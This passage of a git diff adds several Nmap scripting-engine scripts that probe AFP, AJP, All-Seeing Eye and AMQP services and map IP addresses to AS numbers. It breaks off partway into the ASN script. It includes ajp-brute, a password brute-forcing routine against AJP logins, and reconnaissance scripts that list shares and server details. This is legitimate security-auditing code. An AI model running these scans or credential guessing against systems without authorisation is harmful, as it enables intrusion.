+-- @output
+-- PORT STATE SERVICE
+-- 548/tcp open afp
+-- | afp-serverinfo:
+-- | Server Flags:
+-- | Flags hex: 0x837d
+-- | Super Client: true
+-- | UUIDs: false
+-- | UTF8 Server Name: true
+-- | Open Directory: true
+-- | Reconnect: false
+-- | Server Notifications: true
+-- | TCP/IP: true
+-- | Server Signature: true
+-- | Server Messages: true
+-- | Password Saving Prohibited: true
+-- | Password Changing: false
+-- | Copy File: true
+-- | Server Name: foobardigital
+-- | Machine Type: Netatalk
+-- | AFP Versions: AFPVersion 1.1, AFPVersion 2.0, AFPVersion 2.1, AFP2.2, AFPX03, AFP3.1
+-- | UAMs: DHX2
+-- | Server Signature: bbeb480e00000000bbeb480e00000000
+-- | Network Addresses:
+-- | 192.0.2.235
+-- | foobardigital.com
+-- |_ UTF8 Server Name: foobardigital
+--
+-- @xmloutput
+-- <table key="Server Flags">
+-- <elem key="Flags hex">0x837d</elem>
+-- <elem key="Super Client">true</elem>
+-- <elem key="UUIDs">false</elem>
+-- <elem key="UTF8 Server Name">true</elem>
+-- <elem key="Open Directory">true</elem>
+-- <elem key="Reconnect">false</elem>
+-- <elem key="Server Notifications">true</elem>
+-- <elem key="TCP/IP">true</elem>
+-- <elem key="Server Signature">true</elem>
+-- <elem key="Server Messages">true</elem>
+-- <elem key="Password Saving Prohibited">true</elem>
+-- <elem key="Password Changing">false</elem>
+-- <elem key="Copy File">true</elem>
+-- </table>
+-- <elem key="Server Name">foobardigital</elem>
+-- <elem key="Machine Type">Netatalk</elem>
+-- <table key="AFP Versions">
+-- <elem>AFPVersion 1.1</elem>
+-- <elem>AFPVersion 2.0</elem>
+-- <elem>AFPVersion 2.1</elem>
+-- <elem>AFP2.2</elem>
+-- <elem>AFPX03</elem>
+-- <elem>AFP3.1</elem>
+-- </table>
+-- <table key="UAMs">
+-- <elem>DHX2</elem>
+-- </table>
+-- <elem key="Server Signature">
+-- bbeb480e00000000bbeb480e00000000</elem>
+-- <table key="Network Addresses">
+-- <elem>192.0.2.235</elem>
+-- <elem>foobardigital.com</elem>
+-- </table>
+-- <elem key="UTF8 Server Name">foobardigital</elem>
+
+-- Version 0.2
+-- Created 2010/02/09 - v0.1 - created by Andrew Orr
+-- Revised 2010/02/10 - v0.2 - added checks for optional fields
+-- Revised 2015/02/25 - v0.3 - XML structured output
+
+author = "Andrew Orr"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default", "discovery", "safe"}
+
+
+portrule = shortport.port_or_service(548, "afp")
+
+action = function(host, port)
+
+ local socket = nmap.new_socket()
+ local status
+ local result = stdnse.output_table()
+ local temp
+
+ -- set a reasonable timeout value
+ socket:set_timeout(5000)
+
+ -- do some exception handling / cleanup
+ local catch = function()
+ socket:close()
+ end
+
+ local try = nmap.new_try(catch)
+
+ try( socket:connect(host, port) )
+
+ -- get our data
+ local afp_proto = afp.Proto:new( { socket=socket } )
+
+ local response = afp_proto:fp_get_server_info( socket )
+ response = response.result
+
+ -- all the server information is output in the order it occurs in the server
+ -- response. It might be better rearranged?
+
+ -- output the server flags nicely
+ -- Would like to just pass response.flags, but key ordering would be more
+ -- work than it's worth.
+ local flags = stdnse.output_table()
+ flags["Flags hex"] = ("0x%04x"):format(response.flags.raw)
+ flags["Super Client"] = response.flags.SuperClient
+ flags["UUIDs"] = response.flags.UUIDs
+ flags["UTF8 Server Name"] = response.flags.UTF8ServerName
+ flags["Open Directory"] = response.flags.OpenDirectory
+ flags["Reconnect"] = response.flags.Reconnect
+ flags["Server Notifications"] = response.flags.ServerNotifications
+ flags["TCP/IP"] = response.flags.TCPoverIP
+ flags["Server Signature"] = response.flags.ServerSignature
+ flags["Server Messages"] = response.flags.ServerMessages
+ flags["Password Saving Prohibited"] = response.flags.NoPasswordSaving
+ flags["Password Changing"] = response.flags.ChangeablePasswords
+ flags["Copy File"] = response.flags.CopyFile
+
+ result["Server Flags"] = flags
+
+ -- other info
+ result["Server Name"] = response.server_name
+ result["Machine Type"] = response.machine_type
+
+ -- list the supported AFP versions
+ result["AFP Versions"] = response.afp_versions
+ outlib.list_sep(result["AFP Versions"])
+
+ -- list the supported UAMs (User Authentication Modules)
+ result["UAMs"] = response.uams
+ outlib.list_sep(result["UAMs"])
+
+ -- server signature, not sure of the format here so just showing a hex string
+ if response.flags.ServerSignature then
+ result["Server Signature"] = stdnse.tohex(response.server_signature)
+ end
+
+ -- listing the network addresses one line each
+ -- the default for Mac OS X AFP server is to bind everywhere, so this will
+ -- list all network interfaces that the machine has
+ if response.network_addresses_count > 0 then
+ result["Network Addresses"] = response.network_addresses
+ end
+
+ -- similar to above
+ if response.directory_names_count > 0 then
+ result["Directory Names"] = response.directory_names
+ end
+
+ -- and finally the utf8 server name
+ if response.flags.UTF8ServerName then
+ result["UTF8 Server Name"] = response.utf8_server_name
+ end
+
+ return result
+end
diff --git a/scripts/afp-showmount.nse b/scripts/afp-showmount.nse
new file mode 100644
index 0000000..a6a169c
--- /dev/null
+++ b/scripts/afp-showmount.nse
@@ -0,0 +1,101 @@
+local afp = require "afp"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+
+description = [[
+Shows AFP shares and ACLs.
+]]
+
+---
+--
+--@output
+-- PORT STATE SERVICE
+-- 548/tcp open afp
+-- | afp-showmount:
+-- | Yoda's Public Folder
+-- | Owner: Search,Read,Write
+-- | Group: Search,Read
+-- | Everyone: Search,Read
+-- | User: Search,Read
+-- | Vader's Public Folder
+-- | Owner: Search,Read,Write
+-- | Group: Search,Read
+-- | Everyone: Search,Read
+-- | User: Search,Read
+-- |_ Options: IsOwner
+
+-- Version 0.4
+-- Created 01/03/2010 - v0.1 - created by Patrik Karlsson
+-- Revised 01/13/2010 - v0.2 - Fixed a bug where a single share wouldn't show due to formatting issues
+-- Revised 01/20/2010 - v0.3 - removed superfluous functions
+-- Revised 05/03/2010 - v0.4 - cleaned up and added dependency to afp-brute and added support for credentials
+-- by argument or registry
+
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe"}
+
+
+dependencies = {"afp-brute"}
+
+portrule = shortport.portnumber(548, "tcp")
+
+action = function(host, port)
+
+ local status, response, shares
+ local result = {}
+ local afpHelper = afp.Helper:new()
+ local args = nmap.registry.args
+ local users = nmap.registry.afp or { ['nil'] = 'nil' }
+
+ if ( args['afp.username'] ) then
+ users = {}
+ users[args['afp.username']] = args['afp.password']
+ end
+
+ for username, password in pairs(users) do
+
+ status, response = afpHelper:OpenSession(host, port)
+ if ( not status ) then
+ stdnse.debug1("%s", response)
+ return
+ end
+
+ -- if we have a username attempt to authenticate as the user
+ -- Attempt to use No User Authentication?
+ if ( username ~= 'nil' ) then
+ status, response = afpHelper:Login(username, password)
+ else
+ status, response = afpHelper:Login()
+ end
+
+ if ( not status ) then
+ stdnse.debug1("Login failed")
+ stdnse.debug3("Login error: %s", response)
+ return
+ end
+
+ status, shares = afpHelper:ListShares()
+
+ if status then
+ for _, vol in ipairs( shares ) do
+ local status, response = afpHelper:GetSharePermissions( vol )
+ if status then
+ response.name = vol
+ table.insert(result, response)
+ end
+ end
+ end
+
+ status, response = afpHelper:Logout()
+ status, response = afpHelper:CloseSession()
+
+ if ( result ) then
+ return stdnse.format_output(true, result)
+ end
+ end
+ return
+end
diff --git a/scripts/ajp-auth.nse b/scripts/ajp-auth.nse
new file mode 100644
index 0000000..0a258e0
--- /dev/null
+++ b/scripts/ajp-auth.nse
@@ -0,0 +1,72 @@
+local ajp = require "ajp"
+local http = require "http"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+
+description = [[
+Retrieves the authentication scheme and realm of an AJP service (Apache JServ Protocol) that requires authentication.
+]]
+
+---
+-- @usage
+-- nmap -p 8009 <ip> --script ajp-auth [--script-args ajp-auth.path=/login]
+--
+-- @output
+-- PORT STATE SERVICE
+-- 8009/tcp open ajp13
+-- | ajp-auth:
+-- |_ Digest opaque=GPui3SvCGBoHrRMMzSsgaYBV qop=auth nonce=1336063830612:935b5b389696b0f67b9193e19f47e037 realm=example.org
+--
+-- @args ajp-auth.path Define the request path
+--
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default", "auth", "safe"}
+
+
+portrule = shortport.port_or_service(8009, 'ajp13', 'tcp')
+
+local arg_path = stdnse.get_script_args(SCRIPT_NAME .. ".path")
+
+action = function(host, port)
+ local helper = ajp.Helper:new(host, port)
+
+ if ( not(helper:connect()) ) then
+ return stdnse.format_output(false, "Failed to connect to AJP server")
+ end
+
+ local status, answer = helper:get(arg_path or "/")
+
+ --- check for 401 response code
+ if ( not(status) or answer.status ~= 401 ) then
+ return
+ end
+
+ local result = { name = answer.status_line:match("^(.*)\r?\n$") }
+
+ local www_authenticate = answer.headers["www-authenticate"]
+ if not www_authenticate then
+ table.insert( result, ("Server returned status %d but no WWW-Authenticate header."):format(answer.status) )
+ return stdnse.format_output(true, result)
+ end
+
+ local challenges = http.parse_www_authenticate(www_authenticate)
+ if ( not(challenges) ) then
+ table.insert( result, ("Server returned status %d but the WWW-Authenticate header could not be parsed."):format(answer.status) )
+ table.insert( result, ("WWW-Authenticate: %s"):format(www_authenticate) )
+ return stdnse.format_output(true, result)
+ end
+
+ for _, challenge in ipairs(challenges) do
+ local line = challenge.scheme
+ if ( challenge.params ) then
+ for name, value in pairs(challenge.params) do
+ line = line .. (" %s=%s"):format(name, value)
+ end
+ end
+ table.insert(result, line)
+ end
+ return stdnse.format_output(true, result)
+end
diff --git a/scripts/ajp-brute.nse b/scripts/ajp-brute.nse
new file mode 100644
index 0000000..76c9a1e
--- /dev/null
+++ b/scripts/ajp-brute.nse
@@ -0,0 +1,113 @@
+local ajp = require "ajp"
+local base64 = require "base64"
+local brute = require "brute"
+local creds = require "creds"
+local http = require "http"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+
+description = [[
+Performs brute force passwords auditing against the Apache JServ protocol.
+The Apache JServ Protocol is commonly used by web servers to communicate with
+back-end Java application server containers.
+]]
+
+---
+-- @usage
+-- nmap -p 8009 <ip> --script ajp-brute
+--
+-- @output
+-- PORT STATE SERVICE
+-- 8009/tcp open ajp13
+-- | ajp-brute:
+-- | Accounts
+-- | root:secret - Valid credentials
+-- | Statistics
+-- |_ Performed 1946 guesses in 23 seconds, average tps: 82
+--
+-- @args ajp-brute.path URL path to request. Default: /
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "brute"}
+
+
+portrule = shortport.port_or_service(8009, 'ajp13', 'tcp')
+
+local arg_url = stdnse.get_script_args(SCRIPT_NAME .. ".path") or "/"
+
+local function fail(err) return stdnse.format_output(false, err) end
+
+Driver = {
+
+ new = function(self, host, port, options)
+ local o = { host = host,
+ port = port,
+ options = options,
+ helper = ajp.Helper:new(host, port)
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ connect = function(self)
+ return self.helper:connect(brute.new_socket())
+ end,
+
+ disconnect = function(self)
+ return self.helper:close()
+ end,
+
+ login = function(self, user, pass)
+ local headers = {
+ ["Authorization"] = ("Basic %s"):format(base64.enc(user .. ":" .. pass))
+ }
+ local status, response = self.helper:get(arg_url, headers)
+
+ if ( not(status) ) then
+ local err = brute.Error:new( response )
+ err:setRetry( true )
+ return false, err
+ elseif( response.status ~= 401 ) then
+ return true, creds.Account:new(user, pass, creds.State.VALID)
+ end
+ return false, brute.Error:new( "Incorrect password" )
+ end,
+
+}
+
+
+action = function(host, port)
+
+ local helper = ajp.Helper:new(host, port)
+ if ( not(helper:connect()) ) then
+ return fail("Failed to connect to server")
+ end
+
+ local status, response = helper:get(arg_url)
+ if ( not(response.headers['www-authenticate']) ) then
+ return "\n URL does not require authentication"
+ end
+
+ local challenges = http.parse_www_authenticate(response.headers['www-authenticate'])
+ local options = { scheme = nil }
+ for _, challenge in ipairs(challenges or {}) do
+ if ( challenge and challenge.scheme and challenge.scheme:lower() == "basic") then
+ options.scheme = challenge.scheme:lower()
+ break
+ end
+ end
+
+ if ( not(options.scheme) ) then
+ return fail("Could not find a supported authentication scheme")
+ end
+
+ local engine = brute.Engine:new(Driver, host, port )
+ engine.options.script_name = SCRIPT_NAME
+
+ local status, result = engine:start()
+ if ( status ) then
+ return result
+ end
+end
diff --git a/scripts/ajp-headers.nse b/scripts/ajp-headers.nse
new file mode 100644
index 0000000..13cc58b
--- /dev/null
+++ b/scripts/ajp-headers.nse
@@ -0,0 +1,46 @@
+local ajp = require "ajp"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+
+description = [[
+Performs a HEAD or GET request against either the root directory or any
+optional directory of an Apache JServ Protocol server and returns the server response headers.
+]]
+
+---
+-- @usage
+-- nmap -p 8009 <ip> --script ajp-headers
+--
+-- @output
+-- PORT STATE SERVICE
+-- 8009/tcp open ajp13
+-- | ajp-headers:
+-- | X-Powered-By: JSP/2.2
+-- | Set-Cookie: JSESSIONID=goTHax+8ktEcZsBldANHBAuf.undefined; Path=/helloworld
+-- | Content-Type: text/html;charset=ISO-8859-1
+-- |_ Content-Length: 149
+--
+-- @args ajp-headers.path The path to request, such as <code>/index.php</code>. Default <code>/</code>.
+
+
+portrule = shortport.port_or_service(8009, 'ajp13', 'tcp')
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe"}
+
+local arg_path = stdnse.get_script_args(SCRIPT_NAME .. '.path') or "/"
+
+action = function(host, port)
+ local method
+ local helper = ajp.Helper:new(host, port)
+ helper:connect()
+
+ local status, response = helper:get(arg_path)
+ helper:close()
+
+ if ( not(status) ) then
+ return stdnse.format_output(false, "Failed to retrieve server headers")
+ end
+ return stdnse.format_output(true, response.rawheaders)
+end
diff --git a/scripts/ajp-methods.nse b/scripts/ajp-methods.nse
new file mode 100644
index 0000000..f8d62c7
--- /dev/null
+++ b/scripts/ajp-methods.nse
@@ -0,0 +1,81 @@
+local ajp = require "ajp"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local stringaux = require "stringaux"
+local table = require "table"
+local tableaux = require "tableaux"
+
+description = [[
+Discovers which options are supported by the AJP (Apache JServ
+Protocol) server by sending an OPTIONS request and lists potentially
+risky methods.
+
+In this script, "potentially risky" methods are anything except GET,
+HEAD, POST, and OPTIONS. If the script reports potentially risky
+methods, they may not all be security risks, but you should check to
+make sure. This page lists the dangers of some common methods:
+
+http://www.owasp.org/index.php/Testing_for_HTTP_Methods_and_XST_%28OWASP-CM-008%29
+]]
+
+---
+-- @usage
+-- nmap -p 8009 <ip> --script ajp-methods
+--
+-- @output
+-- PORT STATE SERVICE
+-- 8009/tcp open ajp13
+-- | ajp-methods:
+-- | Supported methods: GET HEAD POST PUT DELETE TRACE OPTIONS
+-- | Potentially risky methods: PUT DELETE TRACE
+-- |_ See https://nmap.org/nsedoc/scripts/ajp-methods.html
+--
+-- @args ajp-methods.path the path to check or <code>/<code> if none was given
+--
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default", "safe"}
+
+
+portrule = shortport.port_or_service(8009, 'ajp13', 'tcp')
+
+local arg_url = stdnse.get_script_args(SCRIPT_NAME .. ".path") or "/"
+local UNINTERESTING_METHODS = { "GET", "HEAD", "POST", "OPTIONS" }
+
+local function filter_out(t, filter)
+ local result = {}
+ for _, e in ipairs(t) do
+ if ( not(tableaux.contains(filter, e)) ) then
+ result[#result + 1] = e
+ end
+ end
+ return result
+end
+
+action = function(host, port)
+
+ local helper = ajp.Helper:new(host, port)
+ if ( not(helper:connect()) ) then
+ return stdnse.format_output(false, "Failed to connect to server")
+ end
+
+ local status, response = helper:options(arg_url)
+ helper:close()
+ if ( not(status) or response.status ~= 200 or
+ not(response.headers) or not(response.headers['allow']) ) then
+ return "Failed to get a valid response for the OPTION request"
+ end
+
+ local methods = stringaux.strsplit(",%s", response.headers['allow'])
+
+ local output = {}
+ table.insert(output, ("Supported methods: %s"):format(table.concat(methods, " ")))
+
+ local interesting = filter_out(methods, UNINTERESTING_METHODS)
+ if ( #interesting > 0 ) then
+ table.insert(output, "Potentially risky methods: " .. table.concat(interesting, " "))
+ table.insert(output, "See https://nmap.org/nsedoc/scripts/ajp-methods.html")
+ end
+ return stdnse.format_output(true, output)
+end
diff --git a/scripts/ajp-request.nse b/scripts/ajp-request.nse
new file mode 100644
index 0000000..42eea58
--- /dev/null
+++ b/scripts/ajp-request.nse
@@ -0,0 +1,103 @@
+local ajp = require "ajp"
+local io = require "io"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+
+description = [[
+Requests a URI over the Apache JServ Protocol and displays the result
+(or stores it in a file). Different AJP methods such as; GET, HEAD,
+TRACE, PUT or DELETE may be used.
+
+The Apache JServ Protocol is commonly used by web servers to communicate with
+back-end Java application server containers.
+]]
+
+---
+-- @usage
+-- nmap -p 8009 <ip> --script ajp-request
+--
+-- @output
+-- PORT STATE SERVICE
+-- 8009/tcp open ajp13
+-- | ajp-request:
+-- | <!DOCTYPE HTML>
+-- | <html>
+-- | <head>
+-- | <title>JSP Test</title>
+-- |
+-- | </head>
+-- | <body>
+-- | <h2>Hello, World.</h2>
+-- | Fri May 04 02:09:40 UTC 2012
+-- | </body>
+-- |_</html>
+--
+-- @args method AJP method to be used when requesting the URI (default: GET)
+-- @args path the path part of the URI to request
+-- @args filename the name of the file where the results should be stored
+-- @args username the username to use to access protected resources
+-- @args password the password to use to access protected resources
+--
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe"}
+
+
+portrule = shortport.port_or_service(8009, 'ajp13', 'tcp')
+
+local arg_method = stdnse.get_script_args(SCRIPT_NAME .. ".method") or "GET"
+local arg_path = stdnse.get_script_args(SCRIPT_NAME .. ".path") or "/"
+local arg_file = stdnse.get_script_args(SCRIPT_NAME .. ".filename")
+local arg_username = stdnse.get_script_args(SCRIPT_NAME .. ".username")
+local arg_password = stdnse.get_script_args(SCRIPT_NAME .. ".password")
+
+local function fail(err) return stdnse.format_output(false, err) end
+
+action = function(host, port)
+
+ local helper = ajp.Helper:new(host, port)
+ if ( not(helper:connect()) ) then
+ return fail("Failed to connect to AJP server")
+ end
+
+ local valid_methods = {
+ ["GET"] = true,
+ ["HEAD"] = true,
+ ["TRACE"] = true,
+ ["PUT"] = true,
+ ["DELETE"] = true,
+ ["OPTIONS"]= true,
+ }
+
+ local method = arg_method:upper()
+ if ( not(valid_methods[method]) ) then
+ return fail(("Method not supported: %s"):format(arg_method))
+ end
+
+ local options = { auth = { username = arg_username, password = arg_password } }
+ local status, response = helper:request(arg_method, arg_path, nil, nil, options)
+ if ( not(status) ) then
+ return fail("Failed to retrieve response for request")
+ end
+ helper:close()
+
+ if ( response ) then
+ local output = response.status_line .. "\n" ..
+ table.concat(response.rawheaders, "\n") ..
+ (response.body and "\n\n" .. response.body or "")
+ if ( arg_file ) then
+ local f = io.open(arg_file, "w")
+ if ( not(f) ) then
+ return fail(("Failed to open file %s for writing"):format(arg_file))
+ end
+ f:write(output)
+ f:close()
+ return ("Response was written to file: %s"):format(arg_file)
+ else
+ return "\n" .. output
+ end
+ end
+end
+
diff --git a/scripts/allseeingeye-info.nse b/scripts/allseeingeye-info.nse
new file mode 100644
index 0000000..1706873
--- /dev/null
+++ b/scripts/allseeingeye-info.nse
@@ -0,0 +1,219 @@
+local comm = require "comm"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local string = require "string"
+local stdnse = require "stdnse"
+
+description = [[
+Detects the All-Seeing Eye service. Provided by some game servers for
+querying the server's status.
+
+The All-Seeing Eye service can listen on a UDP port separate from the
+main game server port (usually game port + 123). On receiving a packet
+with the payload "s", it replies with various game server status info.
+
+When run as a version detection script (<code>-sV</code>), the script
+will report on the game name, version, actual port, and whether it has a
+password. When run explicitly (<code>--script allseeingeye-info</code>), the
+script will additionally report on the server name, game type, map name,
+current number of players, maximum number of players, player
+information, and various other information.
+
+For more info on the protocol see:
+http://int64.org/docs/gamestat-protocols/ase.html
+http://aluigi.altervista.org/papers.htm#ase
+http://sourceforge.net/projects/gameq/
+(relevant files: games.ini, packets.ini, ase.php)
+]]
+
+---
+-- @usage
+-- nmap -sV <target>
+-- @usage
+-- nmap -Pn -sU -sV --script allseeingeye-info -p <port> <target>
+--
+-- @output
+-- PORT STATE SERVICE REASON VERSION
+-- 27138/udp open allseeingeye udp-response All-Seeing Eye (game: chrome 1.2.0.0ww; port: 27015; no password)
+-- | allseeingeye-info:
+-- | game: chrome
+-- | port: 27015
+-- | server name: ChromeNet Server
+-- | game type: Team Death Match
+-- | map: Data/LevelsNet/Narrow/Narrow.map
+-- | version: 1.2.0.0ww
+-- | passworded: 0
+-- | num players: 2
+-- | max players: 16
+-- | settings:
+-- | Dedicated: No
+-- | Password Required: No
+-- | Time Limit: 30
+-- | Points Limit: 200 min.
+-- | Respawns Limit: unlimited
+-- | Respawn Delay: 10 sec.
+-- | Enemies Visible On Map: No
+-- | Available Inventory Room: Yes
+-- | Identify Enemy Players: No
+-- | Available Vehicles: Yes
+-- | Vehicle Respaws Limit: unlimited
+-- | Vehicle Respawn Delay: 30 sec.
+-- | Vehicle Auto Return Time: 90 sec.
+-- | Vehicles Visible On Map: Yes
+-- | Team Balance: Off
+-- | Friendly Fire: On
+-- | Friends Visible On Map: Yes
+-- | players:
+-- | player 0:
+-- | name: NoVoDondo
+-- | team: BLUE
+-- | skin:
+-- | score: 71
+-- | ping: 0
+-- | time:
+-- | player 1:
+-- | name: HeroX
+-- | team: RED
+-- | skin:
+-- | score: 0
+-- | ping: 11
+-- |_ time:
+--
+-- @xmloutput
+-- <elem key="game">chrome</elem>
+-- <elem key="port">27015</elem>
+-- <elem key="server name">ChromeNet Server</elem>
+-- <elem key="game type">Team Death Match</elem>
+-- <elem key="map">Data/LevelsNet/Narrow/Narrow.map</elem>
+-- <elem key="version">1.2.0.0ww</elem>
+-- <elem key="passworded">0</elem>
+-- <elem key="num players">2</elem>
+-- <elem key="max players">16</elem>
+-- <table key="settings">
+-- <elem key="Dedicated">No</elem>
+-- <elem key="Password Required">No</elem>
+-- <elem key="Time Limit">30</elem>
+-- <elem key="Points Limit">200 min.</elem>
+-- <elem key="Respawns Limit">unlimited</elem>
+-- <elem key="Respawn Delay">10 sec.</elem>
+-- <elem key="Enemies Visible On Map">No</elem>
+-- <elem key="Available Inventory Room">Yes</elem>
+-- <elem key="Identify Enemy Players">No</elem>
+-- <elem key="Available Vehicles">Yes</elem>
+-- <elem key="Vehicle Respaws Limit">unlimited</elem>
+-- <elem key="Vehicle Respawn Delay">30 sec.</elem>
+-- <elem key="Vehicle Auto Return Time">90 sec.</elem>
+-- <elem key="Vehicles Visible On Map">Yes</elem>
+-- <elem key="Team Balance">Off</elem>
+-- <elem key="Friendly Fire">On</elem>
+-- <elem key="Friends Visible On Map">Yes</elem>
+-- </table>
+-- <table key="players">
+-- <table key="player 0">
+-- <elem key="name">NoVoDondo</elem>
+-- <elem key="team">BLUE</elem>
+-- <elem key="skin"></elem>
+-- <elem key="score">71</elem>
+-- <elem key="ping">0</elem>
+-- <elem key="time"></elem>
+-- </table>
+-- <table key="player 1">
+-- <elem key="name">HeroX</elem>
+-- <elem key="team">RED</elem>
+-- <elem key="skin"></elem>
+-- <elem key="score">0</elem>
+-- <elem key="ping">11</elem>
+-- <elem key="time"></elem>
+-- </table>
+-- </table>
+
+author = "Marin Maržić"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = { "discovery", "safe", "version" }
+
+portrule = shortport.version_port_or_service({1258,2126,3123,12444,13200,23196,26000,27138,27244,27777,28138}, "allseeingeye", "udp")
+
+action = function(host, port)
+ local status, data = comm.exchange(host, port, "s", { timeout = 3000 })
+ if not status then
+ return
+ end
+
+ -- UDP port is open
+ nmap.set_port_state(host, port, "open")
+
+ if not string.match(data, "^EYE1") then
+ return
+ end
+
+ -- Detected; extract fields
+ local o = stdnse.output_table()
+ local pos = 5
+
+ o["game"],
+ o["port"],
+ o["server name"],
+ o["game type"],
+ o["map"],
+ o["version"],
+ o["passworded"],
+ o["num players"],
+ o["max players"], pos = string.unpack(("s1"):rep(9), data, pos)
+
+ -- extract the key-value pairs
+ local kv = stdnse.output_table()
+ o["settings"] = kv
+ while data:byte(pos) ~= 1 do
+ local key, value
+ key, value, pos = string.unpack("s1s1", data, pos)
+ kv[key] = value
+ end
+ pos = pos + 1
+
+ -- extract player info
+ local players = stdnse.output_table()
+ o["players"] = players
+ local playernum = 0
+ while pos <= #data do
+ local flags = data:byte(pos)
+ pos = pos + 1
+
+ local player = stdnse.output_table()
+ if (flags & 1) ~= 0 then
+ player.name, pos = string.unpack("s1", data, pos)
+ end
+ if (flags & 2) ~= 0 then
+ player.team, pos = string.unpack("s1", data, pos)
+ end
+ if (flags & 4) ~= 0 then
+ player.skin, pos = string.unpack("s1", data, pos)
+ end
+ if (flags & 8) ~= 0 then
+ player.score, pos = string.unpack("s1", data, pos)
+ end
+ if (flags & 16) ~= 0 then
+ player.ping, pos = string.unpack("s1", data, pos)
+ end
+ if (flags & 32) ~= 0 then
+ player.time, pos = string.unpack("s1", data, pos)
+ end
+
+ players["player " .. playernum] = player
+ playernum = playernum + 1
+ end
+
+ port.version.name = "ase"
+ port.version.name_confidence = 10
+ port.version.product = "All-Seeing Eye"
+ local passworded_string
+ if o["passworded"] == "0" then
+ passworded_string = "; no password"
+ else
+ passworded_string = "; has password"
+ end
+ port.version.extrainfo = "game: " .. o["game"] .. " " .. o["version"] .. "; port: " .. o["port"] .. passworded_string
+
+ nmap.set_port_version(host, port, "hardmatched")
+
+ return o
+end
diff --git a/scripts/amqp-info.nse b/scripts/amqp-info.nse
new file mode 100644
index 0000000..d0d299f
--- /dev/null
+++ b/scripts/amqp-info.nse
@@ -0,0 +1,60 @@
+local amqp = require "amqp"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+
+description = [[
+Gathers information (a list of all server properties) from an AMQP (advanced message queuing protocol) server.
+
+See http://www.rabbitmq.com/extensions.html for details on the
+<code>server-properties</code> field.
+]]
+
+---
+-- @usage
+-- nmap --script amqp-info -p5672 <target>
+---
+-- @output
+-- 5672/tcp open amqp
+-- | amqp-info:
+-- | capabilities:
+-- | publisher_confirms: YES
+-- | exchange_exchange_bindings: YES
+-- | basic.nack: YES
+-- | consumer_cancel_notify: YES
+-- | copyright: Copyright (C) 2007-2011 VMware, Inc.
+-- | information: Licensed under the MPL. See http://www.rabbitmq.com/
+-- | platform: Erlang/OTP
+-- | product: RabbitMQ
+-- | version: 2.4.0
+-- | mechanisms: PLAIN AMQPLAIN
+-- |_ locales: en_US
+
+author = "Sebastian Dragomir"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"default", "discovery", "safe", "version"}
+
+
+portrule = shortport.version_port_or_service(5672, "amqp", "tcp", "open")
+
+action = function(host, port)
+ local cli = amqp.AMQP:new( host, port )
+
+ local status, data = cli:connect()
+ if not status then return "Unable to open connection: " .. data end
+
+ status, data = cli:handshake()
+ if not status then return data end
+
+ cli:disconnect()
+
+ port.version.name = "amqp"
+ port.version.product = cli:getServerProduct()
+ port.version.extrainfo = cli:getProtocolVersion()
+ port.version.version = cli:getServerVersion()
+ nmap.set_port_version(host, port)
+
+ return stdnse.format_output(status, cli:getServerProperties())
+end
diff --git a/scripts/asn-query.nse b/scripts/asn-query.nse
new file mode 100644
index 0000000..fb4392f
--- /dev/null
+++ b/scripts/asn-query.nse
@@ -0,0 +1,466 @@
+local dns = require "dns"
+local ipOps = require "ipOps"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Maps IP addresses to autonomous system (AS) numbers.
+
+The script works by sending DNS TXT queries to a DNS server which in
+turn queries a third-party service provided by Team Cymru
+(https://www.team-cymru.org/Services/ip-to-asn.html) using an in-addr.arpa
+style zone set up especially for
+use by Nmap. The responses to these queries contain both Origin and Peer
+ASNs and their descriptions, displayed along with the BGP Prefix and
+Country Code. The script caches results to reduce the number of queries
+and should perform a single query for all scanned targets in a BGP
+Prefix present in Team Cymru's database.
+
+Be aware that any targets against which this script is run will be sent
+to and potentially recorded by one or more DNS servers and Team Cymru.
+In addition your IP address will be sent along with the ASN to a DNS
+server (your default DNS server, or whichever one you specified with the
+<code>dns</code> script argument).
+]]
+
+---
+-- @usage
+-- nmap --script asn-query [--script-args dns=<DNS server>] <target>
+-- @args dns The address of a recursive nameserver to use (optional).
+-- @output
+-- Host script results:
+-- | asn-query:
+-- | BGP: 64.13.128.0/21 | Country: US
+-- | Origin AS: 10565 SVCOLO-AS - Silicon Valley Colocation, Inc.
+-- | Peer AS: 3561 6461
+-- | BGP: 64.13.128.0/18 | Country: US
+-- | Origin AS: 10565 SVCOLO-AS - Silicon Valley Colocation, Inc.
+-- |_ Peer AS: 174 2914 6461
+
+author = {"jah", "Michael Pattrick"}
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "external", "safe"}
+
+
+
+
+local mutex = nmap.mutex( "ASN" )
+if not nmap.registry.asn then
+ nmap.registry.asn = {}
+ nmap.registry.asn.cache = {}
+ nmap.registry.asn.descr = {}
+end
+
+
+
+---
+-- This script will run for any non-private IP address.
+
+hostrule = function( host )
+ return not ipOps.isPrivate( host.ip )
+end
+
+
+
+---
+-- Cached results are checked before sending a query for the target and extracting the
+-- relevant information from the response. Mutual exclusion is used so that results can be
+-- cached and so a single thread will be active at any time.
